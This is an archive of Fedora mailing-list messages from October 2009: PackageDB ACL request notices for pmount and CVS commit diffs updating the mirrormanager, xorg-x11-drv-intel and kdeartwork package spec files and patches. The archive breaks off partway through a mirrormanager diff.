Message-ID: <20091026152158.E0B6010F894@bastion2.fedora.phx.redhat.com>

agk has requested the watchbugzilla acl on pmount (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/pmount



From pkgdb at fedoraproject.org  Mon Oct 26 15:22:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 15:22:09 +0000
Subject: [pkgdb] pmount: agk has requested watchbugzilla
Message-ID: <20091026152209.851D810F894@bastion2.fedora.phx.redhat.com>

agk has requested the watchbugzilla acl on pmount (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/pmount



From pkgdb at fedoraproject.org  Mon Oct 26 15:22:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 15:22:12 +0000
Subject: [pkgdb] pmount: agk has requested watchcommits
Message-ID: <20091026152212.88EAD10F8A4@bastion2.fedora.phx.redhat.com>

agk has requested the watchcommits acl on pmount (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/pmount



From pkgdb at fedoraproject.org  Mon Oct 26 15:22:21 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 15:22:21 +0000
Subject: [pkgdb] pmount: agk has requested watchbugzilla
Message-ID: <20091026152221.5603110F88B@bastion2.fedora.phx.redhat.com>

agk has requested the watchbugzilla acl on pmount (Fedora 7)

To make changes to this package see:
  /pkgdb/packages/name/pmount



From pkgdb at fedoraproject.org  Mon Oct 26 15:22:23 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 15:22:23 +0000
Subject: [pkgdb] pmount: agk has requested watchcommits
Message-ID: <20091026152223.7D12910F89D@bastion2.fedora.phx.redhat.com>

agk has requested the watchcommits acl on pmount (Fedora 7)

To make changes to this package see:
  /pkgdb/packages/name/pmount



From pkgdb at fedoraproject.org  Mon Oct 26 15:22:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 15:22:33 +0000
Subject: [pkgdb] pmount: agk has requested watchbugzilla
Message-ID: <20091026152233.0F37910F89C@bastion2.fedora.phx.redhat.com>

agk has requested the watchbugzilla acl on pmount (Fedora 6)

To make changes to this package see:
  /pkgdb/packages/name/pmount



From pkgdb at fedoraproject.org  Mon Oct 26 15:22:34 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 15:22:34 +0000
Subject: [pkgdb] pmount: agk has requested watchcommits
Message-ID: <20091026152234.B7C0410F8A3@bastion2.fedora.phx.redhat.com>

agk has requested the watchcommits acl on pmount (Fedora 6)

To make changes to this package see:
  /pkgdb/packages/name/pmount



From pkgdb at fedoraproject.org  Mon Oct 26 15:22:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 15:22:43 +0000
Subject: [pkgdb] pmount: agk has requested watchbugzilla
Message-ID: <20091026152243.9068310F88B@bastion2.fedora.phx.redhat.com>

agk has requested the watchbugzilla acl on pmount (Fedora 8)

To make changes to this package see:
  /pkgdb/packages/name/pmount



From pkgdb at fedoraproject.org  Mon Oct 26 15:22:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 15:22:46 +0000
Subject: [pkgdb] pmount: agk has requested watchcommits
Message-ID: <20091026152246.0F29D10F89C@bastion2.fedora.phx.redhat.com>

agk has requested the watchcommits acl on pmount (Fedora 8)

To make changes to this package see:
  /pkgdb/packages/name/pmount



From pkgdb at fedoraproject.org  Mon Oct 26 15:22:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 15:22:53 +0000
Subject: [pkgdb] pmount: agk has requested watchbugzilla
Message-ID: <20091026152253.E0D2210F895@bastion2.fedora.phx.redhat.com>

agk has requested the watchbugzilla acl on pmount (Fedora 9)

To make changes to this package see:
  /pkgdb/packages/name/pmount



From pkgdb at fedoraproject.org  Mon Oct 26 15:22:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 15:22:56 +0000
Subject: [pkgdb] pmount: agk has requested watchcommits
Message-ID: <20091026152256.2EB0510F89D@bastion2.fedora.phx.redhat.com>

agk has requested the watchcommits acl on pmount (Fedora 9)

To make changes to this package see:
  /pkgdb/packages/name/pmount



From pkgdb at fedoraproject.org  Mon Oct 26 15:23:03 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 15:23:03 +0000
Subject: [pkgdb] pmount: agk has requested watchbugzilla
Message-ID: <20091026152303.EA4EE10F89C@bastion2.fedora.phx.redhat.com>

agk has requested the watchbugzilla acl on pmount (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/pmount



From pkgdb at fedoraproject.org  Mon Oct 26 15:23:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 15:23:06 +0000
Subject: [pkgdb] pmount: agk has requested watchcommits
Message-ID: <20091026152306.04A7C10F8A6@bastion2.fedora.phx.redhat.com>

agk has requested the watchcommits acl on pmount (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/pmount



From pkgdb at fedoraproject.org  Mon Oct 26 15:23:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 15:23:14 +0000
Subject: [pkgdb] pmount: agk has requested watchbugzilla
Message-ID: <20091026152314.29E3E10F88B@bastion2.fedora.phx.redhat.com>

agk has requested the watchbugzilla acl on pmount (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/pmount



From pkgdb at fedoraproject.org  Mon Oct 26 15:23:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 15:23:16 +0000
Subject: [pkgdb] pmount: agk has requested watchcommits
Message-ID: <20091026152316.1D4BA10F89D@bastion2.fedora.phx.redhat.com>

agk has requested the watchcommits acl on pmount (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/pmount



From pkgdb at fedoraproject.org  Mon Oct 26 15:23:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 15:23:22 +0000
Subject: [pkgdb] pmount: agk has requested watchbugzilla
Message-ID: <20091026152322.80C6D10F88B@bastion2.fedora.phx.redhat.com>

agk has requested the watchbugzilla acl on pmount (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/pmount



From pkgdb at fedoraproject.org  Mon Oct 26 15:23:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 15:23:24 +0000
Subject: [pkgdb] pmount: agk has requested watchcommits
Message-ID: <20091026152324.BDF6F10F89D@bastion2.fedora.phx.redhat.com>

agk has requested the watchcommits acl on pmount (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/pmount



From mdomsch at fedoraproject.org  Mon Oct 26 15:23:50 2009
From: mdomsch at fedoraproject.org (Matt Domsch)
Date: Mon, 26 Oct 2009 15:23:50 +0000 (UTC)
Subject: rpms/mirrormanager/EL-5 .cvsignore, 1.12, 1.13 mirrormanager.spec, 
	1.12, 1.13 sources, 1.12, 1.13
Message-ID: <20091026152351.2191A11C0268@cvs1.fedora.phx.redhat.com>

Author: mdomsch

Update of /cvs/extras/rpms/mirrormanager/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4566

Modified Files:
	.cvsignore mirrormanager.spec sources 
Log Message:
new version, many bugfixes, and user/group creation


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/mirrormanager/EL-5/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	28 Sep 2009 05:08:40 -0000	1.12
+++ .cvsignore	26 Oct 2009 15:23:49 -0000	1.13
@@ -1 +1 @@
-mirrormanager-1.3.2.tar.bz2
+mirrormanager-1.3.3.tar.bz2


Index: mirrormanager.spec
===================================================================
RCS file: /cvs/extras/rpms/mirrormanager/EL-5/mirrormanager.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- mirrormanager.spec	28 Sep 2009 05:08:40 -0000	1.12
+++ mirrormanager.spec	26 Oct 2009 15:23:49 -0000	1.13
@@ -1,5 +1,5 @@
 Name:           mirrormanager
-Version:        1.3.2
+Version:        1.3.3
 Release:        1%{?dist}
 Summary:        Fedora mirror management system
 BuildArch:      noarch
@@ -10,7 +10,8 @@ URL:            http://fedorahosted.org/
 Source0:        https://fedorahosted.org/releases/m/i/%{name}/%{name}-%{version}.tar.bz2
 BuildRoot:      %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 BuildRequires:  python
-Requires:       TurboGears, python-IPy, python-GeoIP, wget, yum, psmisc, python-dns, python-fedora >= 0.3.14
+Requires:       TurboGears, python-IPy, python-GeoIP, wget, yum, psmisc, python-dns, python-fedora >= 0.3.14, py-radix, mod_wsgi
+Requires(pre):  shadow-utils
 
 %define py_ver         %(echo `python -c "import sys; print sys.version[:3]"`)
 %if "%{py_ver}" < "2.5"
@@ -48,20 +49,31 @@ make install DESTDIR=$RPM_BUILD_ROOT CON
 rm -rf $RPM_BUILD_ROOT
 
 
+%pre
+getent group mirrormanager >/dev/null || groupadd -r mirrormanager
+getent passwd mirrormanager >/dev/null || \
+  useradd -r -g mirrormanager -d /var/lib/mirrormanager -s /sbin/nologin \
+  -c "MirrorManager" mirrormanager
+exit 0
+
 %files
 %defattr(-,root,root,-)
-%dir %{_localstatedir}/lib/%{name}/
-%dir %{_localstatedir}/run/%{name}/
-%dir %{_localstatedir}/log/%{name}/
-%dir %{_localstatedir}/log/%{name}/crawler/
-%dir %{_localstatedir}/lock/%{name}/
-%dir %{_sysconfdir}/%{name}/
 %{_datadir}/%{name}
-%config(noreplace) %{_sysconfdir}/logrotate.d/%{name}
-%config(noreplace) %{_sysconfdir}/httpd/conf.d/mirrormanager.conf
-%config(noreplace) %{_sysconfdir}/httpd/conf.d/mirrorlist-server.conf
+%attr(-,mirrormanager,mirrormanager) %dir %{_localstatedir}/lib/%{name}/
+%attr(-,mirrormanager,mirrormanager) %dir %{_localstatedir}/run/%{name}/
+%attr(-,mirrormanager,mirrormanager) %dir %{_localstatedir}/log/%{name}/
+%attr(-,mirrormanager,mirrormanager) %dir %{_localstatedir}/log/%{name}/crawler/
+%attr(-,mirrormanager,mirrormanager) %dir %{_localstatedir}/lock/%{name}/
+%attr(-,mirrormanager,mirrormanager) %dir %{_sysconfdir}/%{name}/
+%attr(-,mirrormanager,mirrormanager) %config(noreplace) /etc/mirrormanager/prod.cfg
+%attr(-,mirrormanager,mirrormanager) %config(noreplace) %{_sysconfdir}/logrotate.d/%{name}
+%attr(-,mirrormanager,mirrormanager) %config(noreplace) %{_sysconfdir}/httpd/conf.d/mirrormanager.conf
+%attr(-,mirrormanager,mirrormanager) %config(noreplace) %{_sysconfdir}/httpd/conf.d/mirrorlist-server.conf
+%dir /etc/rpmlint/
+%config(noreplace) /etc/rpmlint/%{name}.config
 %doc LICENSES LICENSE-MIT-X11 LICENSE-GPLv2
-%doc server/*.cfg
+%doc server/*.cfg server/prod.cfg.example README.rpm_setup
+%doc server/UPGRADING.txt server/sqlobject-patches/
 
 %files client
 %defattr(-,root,root,-)
@@ -72,7 +84,12 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
-* Thu Sep 24 2009 Matt Domsch <mdomsch at fedoraproject.org> - 1.3.2-1
+* Thu Sep 28 2009 Matt Domsch <mdomsch at fedoraproject.org> - 1.3.3-1
+- initial setup patches from BJ Dierkes
+  - simpler mirrormanager.initial, README.rpm_setup, prod.cfg
+  - add user mirrormanager and group mirrormanager, content permissions
+
+* Thu Sep 28 2009 Matt Domsch <mdomsch at fedoraproject.org> - 1.3.2-1
 - add BGP ASN lookups
 
 * Fri Sep 18 2009 Matt Domsch <mdomsch at fedoraproject.org> - 1.3.1-1


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/mirrormanager/EL-5/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	28 Sep 2009 05:08:40 -0000	1.12
+++ sources	26 Oct 2009 15:23:49 -0000	1.13
@@ -1 +1 @@
-60c62a1a7ac403df654e6d93d154d1b4  mirrormanager-1.3.2.tar.bz2
+d8948d971a5298d91769a2aa8ec0c753  mirrormanager-1.3.3.tar.bz2



From ajax at fedoraproject.org  Mon Oct 26 15:25:46 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Mon, 26 Oct 2009 15:25:46 +0000 (UTC)
Subject: rpms/xorg-x11-drv-intel/F-12 copy-fb.patch, 1.8, 1.9 sources, 1.11, 
	1.12 xorg-x11-drv-intel.spec, 1.36, 1.37 intel-gamma-fix.patch,
	1.1, NONE
Message-ID: <20091026152546.35D5211C0268@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/xorg-x11-drv-intel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4988

Modified Files:
	copy-fb.patch sources xorg-x11-drv-intel.spec 
Removed Files:
	intel-gamma-fix.patch 
Log Message:
* Mon Oct 26 2009 Adam Jackson <ajax at redhat.com> 2.9.1-1
- intel 2.9.1


copy-fb.patch:
 drmmode_display.c |  109 +++++++++++++++++++++++++++++++++++++++++++++++++++++-
 i830.h            |    1 
 i830_driver.c     |    2 
 3 files changed, 111 insertions(+), 1 deletion(-)

Index: copy-fb.patch
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-intel/F-12/copy-fb.patch,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- copy-fb.patch	23 Sep 2009 23:40:02 -0000	1.8
+++ copy-fb.patch	26 Oct 2009 15:25:45 -0000	1.9
@@ -1,6 +1,6 @@
-diff -up xf86-video-intel-20090909/src/drmmode_display.c.copy-fb xf86-video-intel-20090909/src/drmmode_display.c
---- xf86-video-intel-20090909/src/drmmode_display.c.copy-fb	2009-09-24 09:30:40.000000000 +1000
-+++ xf86-video-intel-20090909/src/drmmode_display.c	2009-09-24 09:30:56.000000000 +1000
+diff -up xf86-video-intel-2.9.1/src/drmmode_display.c.jx xf86-video-intel-2.9.1/src/drmmode_display.c
+--- xf86-video-intel-2.9.1/src/drmmode_display.c.jx	2009-10-26 10:52:16.000000000 -0400
++++ xf86-video-intel-2.9.1/src/drmmode_display.c	2009-10-26 10:52:34.000000000 -0400
 @@ -35,6 +35,8 @@
  #include <unistd.h>
  #include <errno.h>
@@ -10,7 +10,7 @@ diff -up xf86-video-intel-20090909/src/d
  #include "xorgVersion.h"
  
  #include "i830.h"
-@@ -314,7 +316,7 @@ drmmode_set_mode_major(xf86CrtcPtr crtc,
+@@ -315,7 +317,7 @@ drmmode_set_mode_major(xf86CrtcPtr crtc,
  	unsigned int pitch = pScrn->displayWidth * pI830->cpp;
  
  	if (drmmode->fb_id == 0) {
@@ -19,7 +19,7 @@ diff -up xf86-video-intel-20090909/src/d
  				   pScrn->virtualX, pScrn->virtualY,
  				   pScrn->depth, pScrn->bitsPerPixel,
  				   pitch, pI830->front_buffer->bo->handle,
-@@ -912,6 +914,13 @@ drmmode_output_dpms(xf86OutputPtr output
+@@ -922,6 +924,13 @@ drmmode_output_dpms(xf86OutputPtr output
  	drmmode_ptr drmmode = drmmode_output->drmmode;
  	int i;
  	drmModePropertyPtr props;
@@ -33,7 +33,7 @@ diff -up xf86-video-intel-20090909/src/d
  
  	for (i = 0; i < koutput->count_props; i++) {
  		props = drmModeGetProperty(drmmode->fd, koutput->props[i]);
-@@ -1363,6 +1372,8 @@ drmmode_xf86crtc_resize (ScrnInfoPtr scr
+@@ -1373,6 +1382,8 @@ drmmode_xf86crtc_resize (ScrnInfoPtr scr
  	if (old_front)
  		i830_free_memory(scrn, old_front);
  
@@ -42,7 +42,7 @@ diff -up xf86-video-intel-20090909/src/d
  	return TRUE;
  
   fail:
-@@ -1402,6 +1413,7 @@ Bool drmmode_pre_init(ScrnInfoPtr pScrn,
+@@ -1412,6 +1423,7 @@ Bool drmmode_pre_init(ScrnInfoPtr pScrn,
  		return FALSE;
  	}
  
@@ -50,9 +50,9 @@ diff -up xf86-video-intel-20090909/src/d
  	xf86CrtcSetSizeRange(pScrn, 320, 200, drmmode->mode_res->max_width,
  			     drmmode->mode_res->max_height);
  	for (i = 0; i < drmmode->mode_res->count_crtcs; i++)
-@@ -1422,3 +1434,98 @@ drmmode_get_pipe_from_crtc_id(drm_intel_
- 
- 	return drm_intel_get_pipe_from_crtc_id (bufmgr, drmmode_crtc->mode_crtc->crtc_id);
+@@ -1447,3 +1459,98 @@ void drmmode_closefb(ScrnInfoPtr scrn)
+ 	drmModeRmFB(drmmode->fd, drmmode->fb_id);
+ 	drmmode->fb_id = 0;
  }
 +
 +static PixmapPtr
@@ -149,10 +149,10 @@ diff -up xf86-video-intel-20090909/src/d
 +	(*pScreen->DestroyPixmap)(dst);
 +}
 +
-diff -up xf86-video-intel-20090909/src/i830_driver.c.copy-fb xf86-video-intel-20090909/src/i830_driver.c
---- xf86-video-intel-20090909/src/i830_driver.c.copy-fb	2009-09-09 21:40:15.000000000 +1000
-+++ xf86-video-intel-20090909/src/i830_driver.c	2009-09-24 09:30:40.000000000 +1000
-@@ -3054,6 +3054,8 @@ I830EnterVT(int scrnIndex, int flags)
+diff -up xf86-video-intel-2.9.1/src/i830_driver.c.jx xf86-video-intel-2.9.1/src/i830_driver.c
+--- xf86-video-intel-2.9.1/src/i830_driver.c.jx	2009-10-26 07:48:05.000000000 -0400
++++ xf86-video-intel-2.9.1/src/i830_driver.c	2009-10-26 10:52:34.000000000 -0400
+@@ -3014,6 +3014,8 @@ I830EnterVT(int scrnIndex, int flags)
         /* Clear the framebuffer */
         memset(pI830->FbBase + pScrn->fbOffset, 0,
  	      pScrn->virtualY * pScrn->displayWidth * pI830->cpp);
@@ -161,12 +161,12 @@ diff -up xf86-video-intel-20090909/src/i
     }
  
     if (!xf86SetDesiredModes (pScrn))
-diff -up xf86-video-intel-20090909/src/i830.h.copy-fb xf86-video-intel-20090909/src/i830.h
---- xf86-video-intel-20090909/src/i830.h.copy-fb	2009-09-09 21:40:15.000000000 +1000
-+++ xf86-video-intel-20090909/src/i830.h	2009-09-24 09:30:40.000000000 +1000
-@@ -694,6 +694,7 @@ void I830DRI2CloseScreen(ScreenPtr pScre
- extern Bool drmmode_pre_init(ScrnInfoPtr pScrn, int fd, int cpp);
+diff -up xf86-video-intel-2.9.1/src/i830.h.jx xf86-video-intel-2.9.1/src/i830.h
+--- xf86-video-intel-2.9.1/src/i830.h.jx	2009-10-26 07:48:05.000000000 -0400
++++ xf86-video-intel-2.9.1/src/i830.h	2009-10-26 10:52:34.000000000 -0400
+@@ -694,6 +694,7 @@ extern Bool drmmode_pre_init(ScrnInfoPtr
  extern int drmmode_get_pipe_from_crtc_id(drm_intel_bufmgr *bufmgr, xf86CrtcPtr crtc);
+ extern void drmmode_closefb(ScrnInfoPtr scrn);
  extern int drmmode_output_dpms_status(xf86OutputPtr output);
 +extern void drmmode_copy_fb(ScrnInfoPtr pScrn);
  void


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-intel/F-12/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	2 Oct 2009 01:06:17 -0000	1.11
+++ sources	26 Oct 2009 15:25:45 -0000	1.12
@@ -1,2 +1,2 @@
-34ff2582993d64dddd62d0cb7b30d759  xf86-video-intel-2.9.0.tar.bz2
 d64507d329cff1228f8a88ec2e9f58cb  intel-gpu-tools-20090908.tar.bz2
+8951d0366c16991badb7f9050556f4f3  xf86-video-intel-2.9.1.tar.bz2


Index: xorg-x11-drv-intel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-intel/F-12/xorg-x11-drv-intel.spec,v
retrieving revision 1.36
retrieving revision 1.37
diff -u -p -r1.36 -r1.37
--- xorg-x11-drv-intel.spec	9 Oct 2009 03:44:44 -0000	1.36
+++ xorg-x11-drv-intel.spec	26 Oct 2009 15:25:45 -0000	1.37
@@ -6,15 +6,14 @@
 
 Summary:   Xorg X11 Intel video driver
 Name:      xorg-x11-drv-intel
-Version:   2.9.0
-Release:   3%{?dist}
+Version:   2.9.1
+Release:   1%{?dist}
 URL:       http://www.x.org
 License:   MIT
 Group:     User Interface/X Hardware Support
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-#Source0:    http://xorg.freedesktop.org/archive/individual/driver/xf86-video-intel-%{version}.tar.bz2 
-Source0:    xf86-video-intel-%{version}.tar.bz2
+Source0:    http://xorg.freedesktop.org/archive/individual/driver/xf86-video-intel-%{version}.tar.bz2 
 Source1:    make-intel-gpu-tools-snapshot.sh
 Source2:    intel.xinf
 Source3:    intel-gpu-tools-%{gputoolsdate}.tar.bz2
@@ -22,7 +21,6 @@ Source4:    make-git-snapshot.sh
 
 Patch1: kill-svideo.patch
 Patch2: copy-fb.patch
-Patch3: intel-gamma-fix.patch
 
 # needs to be upstreamed
 Patch20: intel-2.8.0-kms-get-crtc.patch
@@ -79,7 +77,6 @@ Debugging tools for Intel graphics chips
 %setup -q -n xf86-video-intel-%{dirsuffix} -b3
 %patch1 -p1 -b .svideo
 %patch2 -p1 -b .copy-fb
-%patch3 -p1 -b .gamma-fix
 %patch20 -p1 -b .get-crtc
 %patch21 -p1 -b .lvds-first
 %patch60 -p1 -b .uevent
@@ -139,6 +136,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man1/intel_*.1*
 
 %changelog
+* Mon Oct 26 2009 Adam Jackson <ajax at redhat.com> 2.9.1-1
+- intel 2.9.1
+
 * Fri Oct 09 2009 Dave Airlie <airlied at redhat.com> 2.9.0-3
 - set gamma on mode set major for kms
 


--- intel-gamma-fix.patch DELETED ---



From than at fedoraproject.org  Mon Oct 26 15:34:20 2009
From: than at fedoraproject.org (Than Ngo)
Date: Mon, 26 Oct 2009 15:34:20 +0000 (UTC)
Subject: rpms/kdeartwork/F-12 kdeartwork.spec,1.119,1.120
Message-ID: <20091026153420.1C3DC11C0268@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/kdeartwork/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7490

Modified Files:
	kdeartwork.spec 
Log Message:
rhel cleanup



Index: kdeartwork.spec
===================================================================
RCS file: /cvs/extras/rpms/kdeartwork/F-12/kdeartwork.spec,v
retrieving revision 1.119
retrieving revision 1.120
diff -u -p -r1.119 -r1.120
--- kdeartwork.spec	21 Oct 2009 00:05:14 -0000	1.119
+++ kdeartwork.spec	26 Oct 2009 15:34:19 -0000	1.120
@@ -1,6 +1,6 @@
 Name:           kdeartwork
 Version:        4.3.2
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        Additional artwork for KDE
 
 License:        GPLv2
@@ -11,7 +11,9 @@ Patch0:         kdeartwork-4.3.0-templat
 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
+%if 0%{?fedora}
 BuildRequires:  eigen2-devel
+%endif
 BuildRequires:  kdelibs4-devel >= %{version}
 BuildRequires:  kdebase-workspace-devel >= %{version}
 
@@ -59,18 +61,18 @@ Group:   User Interface/Desktops
 %description -n kde-style-phase
 %{summary}.
 
-%if 0%{?fedora}
 %package screensavers
-Summary: Extra screensavers for KDE
+Summary: screensavers for KDE
 Group: Amusements/Graphics
 Obsoletes: kdeartwork-extras < 4.2.2-3
 Provides:  kdeartwork-extras = %{version}-%{release}
+%if 0%{?fedora}
 BuildRequires: xscreensaver-extras xscreensaver-gl-extras
-Requires:      xscreensaver-extras xscreensaver-gl-extras
+Requires: xscreensaver-extras xscreensaver-gl-extras
 Requires: %{name}-kxs = %{version}-%{release}
+%endif
 %description screensavers
 %{summary}.
-%endif
 
 %package kxs
 Summary: Support for xscreensaver-based screensavers
@@ -188,19 +190,19 @@ fi
 %defattr(-,root,root,-)
 %{_kde4_iconsdir}/nuvola/
 
+%if 0%{?fedora}
 %files kxs
 %defattr(-,root,root,-)
 %{_kde4_bindir}/kxsconfig
 %{_kde4_bindir}/kxsrun
+%endif
 
-%if 0%{?fedora}
 %files screensavers
 %defattr(-,root,root,-)
 %{_kde4_appsdir}/kfiresaver/
 %{_kde4_appsdir}/kscreensaver/
 %{_kde4_bindir}/*.kss
 %{_kde4_datadir}/kde4/services/ScreenSavers/*
-%endif
 
 %files sounds
 %defattr(-,root,root,-)
@@ -212,6 +214,9 @@ fi
 
 
 %changelog
+* Mon Oct 26 2009 Than Ngo <than at redhat.com> - 4.3.2-3
+- rhel cleanup
+
 * Tue Oct 20 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.2-2
 - rebuild (eigen2)
 



From than at fedoraproject.org  Mon Oct 26 15:37:01 2009
From: than at fedoraproject.org (Than Ngo)
Date: Mon, 26 Oct 2009 15:37:01 +0000 (UTC)
Subject: rpms/kdeartwork/devel kdeartwork.spec,1.119,1.120
Message-ID: <20091026153701.5B38C11C0268@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/kdeartwork/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8147

Modified Files:
	kdeartwork.spec 
Log Message:
rhel cleanup



Index: kdeartwork.spec
===================================================================
RCS file: /cvs/extras/rpms/kdeartwork/devel/kdeartwork.spec,v
retrieving revision 1.119
retrieving revision 1.120
diff -u -p -r1.119 -r1.120
--- kdeartwork.spec	21 Oct 2009 00:05:14 -0000	1.119
+++ kdeartwork.spec	26 Oct 2009 15:37:01 -0000	1.120
@@ -1,6 +1,6 @@
 Name:           kdeartwork
 Version:        4.3.2
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        Additional artwork for KDE
 
 License:        GPLv2
@@ -11,7 +11,9 @@ Patch0:         kdeartwork-4.3.0-templat
 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
+%if 0%{?fedora}
 BuildRequires:  eigen2-devel
+%endif
 BuildRequires:  kdelibs4-devel >= %{version}
 BuildRequires:  kdebase-workspace-devel >= %{version}
 
@@ -59,18 +61,18 @@ Group:   User Interface/Desktops
 %description -n kde-style-phase
 %{summary}.
 
-%if 0%{?fedora}
 %package screensavers
-Summary: Extra screensavers for KDE
+Summary: screensavers for KDE
 Group: Amusements/Graphics
 Obsoletes: kdeartwork-extras < 4.2.2-3
 Provides:  kdeartwork-extras = %{version}-%{release}
+%if 0%{?fedora}
 BuildRequires: xscreensaver-extras xscreensaver-gl-extras
-Requires:      xscreensaver-extras xscreensaver-gl-extras
+Requires: xscreensaver-extras xscreensaver-gl-extras
 Requires: %{name}-kxs = %{version}-%{release}
+%endif
 %description screensavers
 %{summary}.
-%endif
 
 %package kxs
 Summary: Support for xscreensaver-based screensavers
@@ -188,19 +190,19 @@ fi
 %defattr(-,root,root,-)
 %{_kde4_iconsdir}/nuvola/
 
+%if 0%{?fedora}
 %files kxs
 %defattr(-,root,root,-)
 %{_kde4_bindir}/kxsconfig
 %{_kde4_bindir}/kxsrun
+%endif
 
-%if 0%{?fedora}
 %files screensavers
 %defattr(-,root,root,-)
 %{_kde4_appsdir}/kfiresaver/
 %{_kde4_appsdir}/kscreensaver/
 %{_kde4_bindir}/*.kss
 %{_kde4_datadir}/kde4/services/ScreenSavers/*
-%endif
 
 %files sounds
 %defattr(-,root,root,-)
@@ -212,6 +214,9 @@ fi
 
 
 %changelog
+* Mon Oct 26 2009 Than Ngo <than at redhat.com> - 4.3.2-3
+- rhel cleanup
+
 * Tue Oct 20 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.2-2
 - rebuild (eigen2)
 



From mdomsch at fedoraproject.org  Mon Oct 26 15:41:31 2009
From: mdomsch at fedoraproject.org (Matt Domsch)
Date: Mon, 26 Oct 2009 15:41:31 +0000 (UTC)
Subject: rpms/mirrormanager/devel .cvsignore, 1.7, 1.8 mirrormanager.spec,
	1.9, 1.10 sources, 1.7, 1.8
Message-ID: <20091026154131.C8AFA11C0268@cvs1.fedora.phx.redhat.com>

Author: mdomsch

Update of /cvs/extras/rpms/mirrormanager/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9236

Modified Files:
	.cvsignore mirrormanager.spec sources 
Log Message:
new version, many bugfixes, and user/group creation


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/mirrormanager/devel/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	9 Sep 2009 02:31:25 -0000	1.7
+++ .cvsignore	26 Oct 2009 15:41:31 -0000	1.8
@@ -1 +1 @@
-mirrormanager-1.3.0.tar.bz2
+mirrormanager-1.3.3.tar.bz2


Index: mirrormanager.spec
===================================================================
RCS file: /cvs/extras/rpms/mirrormanager/devel/mirrormanager.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- mirrormanager.spec	9 Sep 2009 02:31:26 -0000	1.9
+++ mirrormanager.spec	26 Oct 2009 15:41:31 -0000	1.10
@@ -1,5 +1,5 @@
 Name:           mirrormanager
-Version:        1.3.0
+Version:        1.3.3
 Release:        1%{?dist}
 Summary:        Fedora mirror management system
 BuildArch:      noarch
@@ -10,7 +10,8 @@ URL:            http://fedorahosted.org/
 Source0:        https://fedorahosted.org/releases/m/i/%{name}/%{name}-%{version}.tar.bz2
 BuildRoot:      %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
